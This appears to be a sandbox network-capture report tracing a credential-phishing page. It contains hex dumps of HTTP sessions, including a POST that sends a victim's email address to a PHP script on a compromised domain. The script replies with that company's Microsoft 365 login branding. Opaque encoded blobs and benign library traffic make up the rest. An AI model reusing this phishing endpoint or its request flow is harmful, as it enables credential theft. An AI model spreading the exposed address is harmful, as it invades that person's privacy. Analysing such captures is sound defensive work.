2024-10-24 09:57:33 UTC	1369	IN	Data Raw: 33 59 59 5a 6c 64 6b 64 55 56 6e 70 56 62 35 59 48 5a 48 5a 56 65 4d 64 6b 53 7a 4a 6d 4d 4f 4a 33 59 59 5a 6c 64 6b 64 55 56 6e 4e 6d 4d 78 67 6d 59 48 68 33 4e 61 64 45 62 36 4e 32 52 34 68 57 5a 55 42 58 61 69 64 55 4f 71 46 32 4d 78 67 6d 57 48 4a 56 65 61 68 6c 54 36 56 6d 4d 61 5a 6e 59 75 46 46 64 6a 4e 6a 55 31 49 32 52 56 5a 6a 59 74 6c 54 65 69 64 6c 52 7a 5a 57 56 43 31 6d 59 79 55 44 4d 4d 64 6c 57 6f 6c 6c 4d 57 64 6a 57 74 6c 54 64 6b 4e 55 4d 74 6c 31 56 78 41 6e 59 49 74 6d 4e 4b 46 6a 54 73 70 6c 4d 35 77 57 53 47 5a 6c 53 4a 5a 45 5a 73 6c 56 62 61 5a 6e 59 75 46 6c 62 50 4e 6a 54 35 6c 6c 65 77 4e 6e 59 79 34 45 61 69 4e 30 5a 70 56 6c 4d 57 35 6d 59 79 55 31 5a 57 56 31 61 6e 52 31 52 73 35 57 59 49 46 56 61 4c 52 46 64 74 4a 6d 4d 31 Data Ascii: 3YYZldkdUVnpVb5YHZHZVeMdkSzJmMOJ3YYZldkdUVnNmMxgmYHh3NadEb6N2R4hWZUBXaidUOqF2MxgmWHJVeahlT6VmMaZnYuFFdjNjU1I2RVZjYtlTeidlRzZWVC1mYyUDMMdlWollMWdjWtlTdkNUMtl1VxAnYItmNKFjTsplM5wWSGZlSJZEZslVbaZnYuFlbPNjT5llewNnYy4EaiN0ZpVlMW5mYyU1ZWV1anR1Rs5WYIFVaLRFdtJmM1
2024-10-24 09:57:33 UTC	1086	IN	Data Raw: 4e 73 78 6b 62 53 78 57 5a 49 46 46 64 69 64 6c 52 30 49 32 52 73 56 6e 57 59 31 45 64 4e 68 46 64 7a 45 32 52 73 42 6a 57 54 46 6a 65 6a 64 6b 52 71 70 46 56 77 56 6e 59 7a 51 57 65 5a 68 56 51 33 51 32 52 57 52 44 5a 44 46 6a 64 6b 31 6d 56 35 70 56 62 34 5a 48 5a 36 42 48 62 69 64 45 65 77 4e 47 53 4f 42 33 59 36 52 48 64 5a 68 31 5a 30 46 32 52 57 42 6e 57 79 67 47 4d 50 70 32 5a 77 77 6b 61 56 42 7a 59 49 64 32 4e 69 64 6c 52 30 77 30 56 6f 78 57 59 58 52 32 62 6b 52 30 62 78 77 6b 61 4a 52 54 54 36 74 57 4d 6a 31 6d 56 30 5a 32 55 31 41 6a 57 59 68 47 4d 4d 64 46 61 73 6c 31 56 53 4e 58 59 58 56 44 62 4d 35 6d 55 73 56 47 53 52 52 6e 59 58 5a 45 4e 69 64 45 62 31 70 46 57 4e 52 58 54 75 52 48 64 5a 68 31 5a 30 46 32 52 57 42 6e 57 79 67 47 4d 50 70 Data Ascii: NsxkbSxWZIFFdidlR0I2RsVnWY1EdNhFdzE2RsBjWTFjejdkRqpFVwVnYzQWeZhVQ3Q2RWRDZDFjdk1mV5pVb4ZHZ6BHbidEewNGSOB3Y6RHdZh1Z0F2RWBnWygGMPp2ZwwkaVBzYId2NidlR0w0VoxWYXR2bkR0bxwkaJRTT6tWMj1mV0Z2U1AjWYhGMMdFasl1VSNXYXVDbM5mUsVGSRRnYXZENidEb1pFWNRXTuRHdZh1Z0F2RWBnWygGMPp
2024-10-24 09:57:33 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 64 6b 64 6b 56 30 51 32 51 78 51 58 57 59 68 32 63 68 64 56 4e 73 4e 57 65 77 6b 48 54 48 64 47 65 4d 35 6d 55 73 56 47 53 52 52 6e 59 58 5a 45 4e 69 64 45 62 31 70 46 57 4e 52 58 54 75 52 48 64 5a 68 31 5a 30 46 32 52 57 42 6e 57 79 67 47 4d 50 70 57 52 34 39 30 51 30 4d 54 54 7a 49 45 4e 50 4a 54 4d 6f 56 32 51 78 38 6d 57 58 78 6d 62 68 68 55 55 32 34 55 65 30 41 54 54 71 46 6b 65 4f 68 6c 53 73 4a 47 57 77 55 48 5a 48 5a 46 4e 6b 4e 55 4d 76 70 31 56 47 74 6d 57 59 6c 55 64 6b 64 6b 56 30 51 32 51 78 51 58 57 59 68 32 63 68 64 56 4e 73 4e 57 65 77 6f 48 54 48 64 47 65 4d 35 6d 55 73 56 47 53 52 52 6e 59 58 5a 45 4e 69 64 45 62 31 70 46 57 4e 52 58 54 7a 51 48 64 5a 68 31 5a 30 46 32 52 57 42 6e 57 79 67 47 4d 50 70 57 52 7a 34 30 51 Data Ascii: 7ffadkdkV0Q2QxQXWYh2chdVNsNWewkHTHdGeM5mUsVGSRRnYXZENidEb1pFWNRXTuRHdZh1Z0F2RWBnWygGMPpWR490Q0MTTzIENPJTMoV2Qx8mWXxmbhhUU24Ue0ATTqFkeOhlSsJGWwUHZHZFNkNUMvp1VGtmWYlUdkdkV0Q2QxQXWYh2chdVNsNWewoHTHdGeM5mUsVGSRRnYXZENidEb1pFWNRXTzQHdZh1Z0F2RWBnWygGMPpWRz40Q
2024-10-24 09:57:33 UTC	1369	IN	Data Raw: 46 61 7a 46 32 56 31 77 32 59 35 42 44 4d 6c 4a 54 4d 6f 56 32 51 78 38 6d 57 58 78 6d 62 68 68 55 55 32 30 45 56 5a 4a 44 54 71 31 6b 4d 6a 68 30 5a 33 49 32 56 47 52 44 54 58 68 47 62 68 64 46 5a 76 52 47 52 76 68 58 54 44 52 6a 65 50 52 31 59 79 34 45 57 4b 78 6d 59 59 42 54 64 6b 64 6b 56 30 51 32 51 78 41 54 59 59 4a 31 63 61 4e 46 65 76 31 30 4d 30 31 6d 59 79 55 44 4d 4d 68 6c 54 77 56 57 62 56 5a 54 54 71 4a 31 64 6c 52 45 64 7a 46 32 56 31 77 47 54 58 68 47 62 68 64 46 5a 76 52 47 52 76 6c 33 54 49 4a 45 4e 50 4a 6a 57 32 4a 6d 62 52 52 48 5a 79 59 46 63 61 4a 44 61 77 38 6b 61 4e 64 58 54 45 52 58 62 69 4a 54 4e 77 77 45 57 4f 42 58 5a 74 56 6c 4e 4e 4e 46 4e 78 4d 57 62 57 52 33 54 79 67 48 63 69 31 57 56 30 46 32 52 57 42 6e 57 79 67 47 4d 50 Data Ascii: FazF2V1w2Y5BDMlJTMoV2Qx8mWXxmbhhUU20EVZJDTq1kMjh0Z3I2VGRDTXhGbhdFZvRGRvhXTDRjePR1Yy4EWKxmYYBTdkdkV0Q2QxATYYJ1caNFev10M01mYyUDMMhlTwVWbVZTTqJ1dlREdzF2V1wGTXhGbhdFZvRGRvl3TIJENPJjW2JmbRRHZyYFcaJDaw8kaNdXTERXbiJTNwwEWOBXZtVlNNNFNxMWbWR3TygHci1WV0F2RWBnWygGMP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49724	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:31 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-24 09:57:31 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=25927 Date: Thu, 24 Oct 2024 09:57:31 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-24 09:57:31 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49726	104.21.68.211	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:31 UTC	679	OUT	POST /7bbdbe2c-6f5c-40b3-968b-c6c76b1aff7d/uryfdsk2o3294djfshg.php HTTP/1.1 Host: amsroofinginc.org Connection: keep-alive Content-Length: 35 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:31 UTC	35	OUT	Data Raw: 64 5f 6c 6f 67 3d 61 6e 6e 2d 6b 61 74 68 72 69 6e 2e 6b 6f 63 68 25 34 30 65 6c 6b 61 6d 65 74 2e 64 65 Data Ascii: d_log=ann-kathrin.koch%40elkamet.de
2024-10-24 09:57:33 UTC	1089	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 09:57:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d97jrav2n8hhqamatcikussmeg; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0ZBi2yRkbVKAVbD9KkFnkQerzNARBDoe2IbVvRuAdUuwTNkLa4rNDI1VR0%2F%2BRxbzQlmuIdMPM5yH%2FREppSH7RhAmLQS8QkjP8vuI43V1Na7XDOUBl8%2FPPmScz9vN3yzkTD4E0g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d791a68af3beb1f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1189&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=1314&delivery_rate=2316800&cwnd=246&unsent_bytes=0&cid=2736d7ea2a742112&ts=2042&x=0"
2024-10-24 09:57:33 UTC	280	IN	Data Raw: 32 39 65 0d 0a 7b 22 6c 6f 67 6f 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 69 6d 61 67 65 73 2e 6e 65 74 5c 2f 63 31 63 36 62 36 63 38 2d 73 34 74 79 77 6a 37 70 79 2d 76 78 39 62 65 69 6a 34 6b 34 61 65 79 62 66 6f 63 6b 68 6a 6f 69 35 61 79 73 68 62 62 39 70 73 30 5c 2f 6c 6f 67 69 6e 74 65 6e 61 6e 74 62 72 61 6e 64 69 6e 67 5c 2f 30 5c 2f 62 61 6e 6e 65 72 6c 6f 67 6f 3f 74 73 3d 36 33 36 37 37 36 31 33 37 39 37 35 36 37 32 38 35 34 22 2c 22 62 61 63 6b 67 72 6f 75 6e 64 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 69 6d 61 67 65 73 2e 6e 65 74 5c 2f 63 31 63 36 62 36 63 38 2d 73 34 74 79 77 6a 37 70 79 2d 76 78 39 62 65 69 6a 34 6b 34 61 65 79 62 66 6f 63 6b 68 6a 6f 69 35 61 79 73 Data Ascii: 29e{"logo":"https:\/\/aadcdn.msauthimages.net\/c1c6b6c8-s4tywj7py-vx9beij4k4aeybfockhjoi5ayshbb9ps0\/logintenantbranding\/0\/bannerlogo?ts=636776137975672854","background":"https:\/\/aadcdn.msauthimages.net\/c1c6b6c8-s4tywj7py-vx9beij4k4aeybfockhjoi5ays
2024-10-24 09:57:33 UTC	397	IN	Data Raw: 69 6e 67 5c 2f 30 5c 2f 69 6c 6c 75 73 74 72 61 74 69 6f 6e 3f 74 73 3d 36 33 36 37 37 37 38 34 32 32 35 32 33 35 38 35 32 37 22 2c 22 73 73 6f 22 3a 66 61 6c 73 65 2c 22 61 64 66 73 22 3a 66 61 6c 73 65 2c 22 6f 6b 74 61 22 3a 66 61 6c 73 65 2c 22 72 65 64 69 72 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 6f 75 74 6c 6f 6f 6b 2e 6f 66 66 69 63 65 33 36 35 2e 63 6f 6d 5c 2f 45 6e 63 72 79 70 74 69 6f 6e 5c 2f 45 72 72 6f 72 50 61 67 65 2e 61 73 70 78 3f 73 72 63 3d 30 26 63 6f 64 65 3d 31 30 26 62 65 3d 44 4d 38 50 52 30 39 4d 42 36 30 38 38 26 66 65 3d 31 22 2c 22 62 67 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 61 64 63 64 6e 2e 6d 73 61 75 74 68 2e 6e 65 74 5c 2f 73 68 61 72 65 64 5c 2f 31 2e 30 5c 2f 63 6f 6e 74 65 6e 74 5c 2f 69 6d 61 67 65 73 5c 2f 62 61 Data Ascii: ing\/0\/illustration?ts=636777842252358527","sso":false,"adfs":false,"okta":false,"redir":"https:\/\/outlook.office365.com\/Encryption\/ErrorPage.aspx?src=0&code=10&be=DM8PR09MB6088&fe=1","bg":"https:\/\/aadcdn.msauth.net\/shared\/1.0\/content\/images\/ba
2024-10-24 09:57:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49728	151.101.1.229	443	6888	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 09:57:31 UTC	367	OUT	GET /npm/axios/dist/axios.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 09:57:31 UTC	757	IN	HTTP/1.1 200 OK Connection: close Content-Length: 54147 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=604800, s-maxage=43200 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 X-JSD-Version: 1.7.7 X-JSD-Version-Type: version ETag: W/"d383-UevtiR1Ub6VyiQ12MPIw3BrQgvI" Accept-Ranges: bytes Date: Thu, 24 Oct 2024 09:57:31 GMT Age: 33744 X-Served-By: cache-fra-etou8220107-FRA, cache-dfw-ktki8620048-DFW X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-10-24 09:57:31 UTC	1378	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 74 29 3a 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 65 7c 7c 73 65 6c 66 29 2e 61 78 69 6f 73 3d 74 28 29 7d 28 74 68 69 73 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 65 29 7b 76 61 72 20 72 2c 6e 3b 66 75 6e Data Ascii: !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).axios=t()}(this,(function(){"use strict";function e(e){var r,n;fun
2024-10-24 09:57:31 UTC	1378	IN	Data Raw: 6e 28 65 29 7b 76 61 72 20 74 2c 72 2c 6e 2c 69 3d 32 3b 66 6f 72 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 28 72 3d 53 79 6d 62 6f 6c 2e 61 73 79 6e 63 49 74 65 72 61 74 6f 72 2c 6e 3d 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 29 3b 69 2d 2d 3b 29 7b 69 66 28 72 26 26 6e 75 6c 6c 21 3d 28 74 3d 65 5b 72 5d 29 29 72 65 74 75 72 6e 20 74 2e 63 61 6c 6c 28 65 29 3b 69 66 28 6e 26 26 6e 75 6c 6c 21 3d 28 74 3d 65 5b 6e 5d 29 29 72 65 74 75 72 6e 20 6e 65 77 20 6f 28 74 2e 63 61 6c 6c 28 65 29 29 3b 72 3d 22 40 40 61 73 79 6e 63 49 74 65 72 61 74 6f 72 22 2c 6e 3d 22 40 40 69 74 65 72 61 74 6f 72 22 7d 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 4f 62 6a 65 63 74 20 69 73 20 6e 6f 74 20 61 73 Data Ascii: n(e){var t,r,n,i=2;for("undefined"!=typeof Symbol&&(r=Symbol.asyncIterator,n=Symbol.iterator);i--;){if(r&&null!=(t=e[r]))return t.call(e);if(n&&null!=(t=e[n]))return new o(t.call(e));r="@@asyncIterator",n="@@iterator"}throw new TypeError("Object is not as
2024-10-24 09:57:31 UTC	1378	IN	Data Raw: 70 65 72 74 79 28 65 2c 74 2c 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 72 2c 74 29 29 7d 29 29 7d 72 65 74 75 72 6e 20 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 29 7b 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 7d 3b 76 61 72 20 65 2c 74 3d 7b 7d 2c 72 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6e 3d 72 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 6f 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 65 5b 74 5d 3d 72 2e 76 61 6c 75 65 7d 2c 69 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3f 53 79 6d 62 6f 6c 3a 7b 7d 2c 61 3d 69 2e 69 74 65 72 61 74 6f 72 7c 7c 22 40 40 Data Ascii: perty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function s(){s=function(){return t};var e,t={},r=Object.prototype,n=r.hasOwnProperty,o=Object.defineProperty\|\|function(e,t,r){e[t]=r.value},i="function"==typeof Symbol?Symbol:{},a=i.iterator\|\|"@@
2024-10-24 09:57:31 UTC	1378	IN	Data Raw: 6e 63 74 69 6f 6e 28 65 29 7b 63 2e 76 61 6c 75 65 3d 65 2c 61 28 63 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 72 28 22 74 68 72 6f 77 22 2c 65 2c 61 2c 75 29 7d 29 29 7d 75 28 73 2e 61 72 67 29 7d 76 61 72 20 69 3b 6f 28 74 68 69 73 2c 22 5f 69 6e 76 6f 6b 65 22 2c 7b 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 74 28 28 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 29 7b 72 28 65 2c 6e 2c 74 2c 6f 29 7d 29 29 7d 72 65 74 75 72 6e 20 69 3d 69 3f 69 2e 74 68 65 6e 28 6f 2c 6f 29 3a 6f 28 29 7d 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 54 28 74 2c 72 2c 6e 29 7b 76 61 72 20 6f 3d 70 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 69 2c 61 29 7b 69 66 28 Data Ascii: nction(e){c.value=e,a(c)}),(function(e){return r("throw",e,a,u)}))}u(s.arg)}var i;o(this,"_invoke",{value:function(e,n){function o(){return new t((function(t,o){r(e,n,t,o)}))}return i=i?i.then(o,o):o()}})}function T(t,r,n){var o=p;return function(i,a){if(
2024-10-24 09:57:31 UTC	1378	IN	Data Raw: 69 73 20 6e 6f 74 20 61 6e 20 6f 62 6a 65 63 74 22 29 2c 72 2e 64 65 6c 65 67 61 74 65 3d 6e 75 6c 6c 2c 79 29 7d 66 75 6e 63 74 69 6f 6e 20 41 28 65 29 7b 76 61 72 20 74 3d 7b 74 72 79 4c 6f 63 3a 65 5b 30 5d 7d 3b 31 20 69 6e 20 65 26 26 28 74 2e 63 61 74 63 68 4c 6f 63 3d 65 5b 31 5d 29 2c 32 20 69 6e 20 65 26 26 28 74 2e 66 69 6e 61 6c 6c 79 4c 6f 63 3d 65 5b 32 5d 2c 74 2e 61 66 74 65 72 4c 6f 63 3d 65 5b 33 5d 29 2c 74 68 69 73 2e 74 72 79 45 6e 74 72 69 65 73 2e 70 75 73 68 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 65 29 7b 76 61 72 20 74 3d 65 2e 63 6f 6d 70 6c 65 74 69 6f 6e 7c 7c 7b 7d 3b 74 2e 74 79 70 65 3d 22 6e 6f 72 6d 61 6c 22 2c 64 65 6c 65 74 65 20 74 2e 61 72 67 2c 65 2e 63 6f 6d 70 6c 65 74 69 6f 6e 3d 74 7d 66 75 6e 63 74 69 6f 6e Data Ascii: is not an object"),r.delegate=null,y)}function A(e){var t={tryLoc:e[0]};1 in e&&(t.catchLoc=e[1]),2 in e&&(t.finallyLoc=e[2],t.afterLoc=e[3]),this.tryEntries.push(t)}function j(e){var t=e.completion\|\|{};t.type="normal",delete t.arg,e.completion=t}function
2024-10-24 09:57:31 UTC	1378	IN	Data Raw: 2c 22 47 65 6e 65 72 61 74 6f 72 22 29 2c 66 28 53 2c 61 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 29 29 2c 66 28 53 2c 22 74 6f 53 74 72 69 6e 67 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 5b 6f 62 6a 65 63 74 20 47 65 6e 65 72 61 74 6f 72 5d 22 7d 29 29 2c 74 2e 6b 65 79 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 4f 62 6a 65 63 74 28 65 29 2c 72 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 74 29 72 2e 70 75 73 68 28 6e 29 3b 72 65 74 75 72 6e 20 72 2e 72 65 76 65 72 73 65 28 29 2c 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 66 6f 72 28 3b 72 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 6e 3d 72 2e 70 6f 70 28 29 3b 69 66 28 6e 20 69 6e 20 74 29 72 65 74 75 72 6e 20 65 2e 76 61 6c 75 65 Data Ascii: ,"Generator"),f(S,a,(function(){return this})),f(S,"toString",(function(){return"[object Generator]"})),t.keys=function(e){var t=Object(e),r=[];for(var n in t)r.push(n);return r.reverse(),function e(){for(;r.length;){var n=r.pop();if(n in t)return e.value
2024-10-24 09:57:31 UTC	1378	IN	Data Raw: 68 2d 31 3b 72 3e 3d 30 3b 2d 2d 72 29 7b 76 61 72 20 6f 3d 74 68 69 73 2e 74 72 79 45 6e 74 72 69 65 73 5b 72 5d 3b 69 66 28 6f 2e 74 72 79 4c 6f 63 3c 3d 74 68 69 73 2e 70 72 65 76 26 26 6e 2e 63 61 6c 6c 28 6f 2c 22 66 69 6e 61 6c 6c 79 4c 6f 63 22 29 26 26 74 68 69 73 2e 70 72 65 76 3c 6f 2e 66 69 6e 61 6c 6c 79 4c 6f 63 29 7b 76 61 72 20 69 3d 6f 3b 62 72 65 61 6b 7d 7d 69 26 26 28 22 62 72 65 61 6b 22 3d 3d 3d 65 7c 7c 22 63 6f 6e 74 69 6e 75 65 22 3d 3d 3d 65 29 26 26 69 2e 74 72 79 4c 6f 63 3c 3d 74 26 26 74 3c 3d 69 2e 66 69 6e 61 6c 6c 79 4c 6f 63 26 26 28 69 3d 6e 75 6c 6c 29 3b 76 61 72 20 61 3d 69 3f 69 2e 63 6f 6d 70 6c 65 74 69 6f 6e 3a 7b 7d 3b 72 65 74 75 72 6e 20 61 2e 74 79 70 65 3d 65 2c 61 2e 61 72 67 3d 74 2c 69 3f 28 74 68 69 73 2e Data Ascii: h-1;r>=0;--r){var o=this.tryEntries[r];if(o.tryLoc<=this.prev&&n.call(o,"finallyLoc")&&this.prev<o.finallyLoc){var i=o;break}}i&&("break"===e\|\|"continue"===e)&&i.tryLoc<=t&&t<=i.finallyLoc&&(i=null);var a=i?i.completion:{};return a.type=e,a.arg=t,i?(this.
2024-10-24 09:57:31 UTC	1378	IN	Data Raw: 72 69 6e 67 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 29 7b 72 65 74 75 72 6e 20 66 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 65 21 3d 3d 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 2c 66 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 74 29 7b 72 65 74 Data Ascii: ring(t)}function f(e){return f="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},f(e)}function l(t){ret
2024-10-24 09:57:32 UTC	1378	IN	Data Raw: 64 6f 6e 65 29 26 26 28 75 2e 70 75 73 68 28 6e 2e 76 61 6c 75 65 29 2c 75 2e 6c 65 6e 67 74 68 21 3d 3d 74 29 3b 73 3d 21 30 29 3b 7d 63 61 74 63 68 28 65 29 7b 63 3d 21 30 2c 6f 3d 65 7d 66 69 6e 61 6c 6c 79 7b 74 72 79 7b 69 66 28 21 73 26 26 6e 75 6c 6c 21 3d 72 2e 72 65 74 75 72 6e 26 26 28 61 3d 72 2e 72 65 74 75 72 6e 28 29 2c 4f 62 6a 65 63 74 28 61 29 21 3d 3d 61 29 29 72 65 74 75 72 6e 7d 66 69 6e 61 6c 6c 79 7b 69 66 28 63 29 74 68 72 6f 77 20 6f 7d 7d 72 65 74 75 72 6e 20 75 7d 7d 28 65 2c 74 29 7c 7c 4f 28 65 2c 74 29 7c 7c 78 28 29 7d 66 75 6e 63 74 69 6f 6e 20 67 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 53 28 65 29 7d 28 65 29 7c 7c Data Ascii: done)&&(u.push(n.value),u.length!==t);s=!0);}catch(e){c=!0,o=e}finally{try{if(!s&&null!=r.return&&(a=r.return(),Object(a)!==a))return}finally{if(c)throw o}}return u}}(e,t)\|\|O(e,t)\|\|x()}function g(e){return function(e){if(Array.isArray(e))return S(e)}(e)\|\|
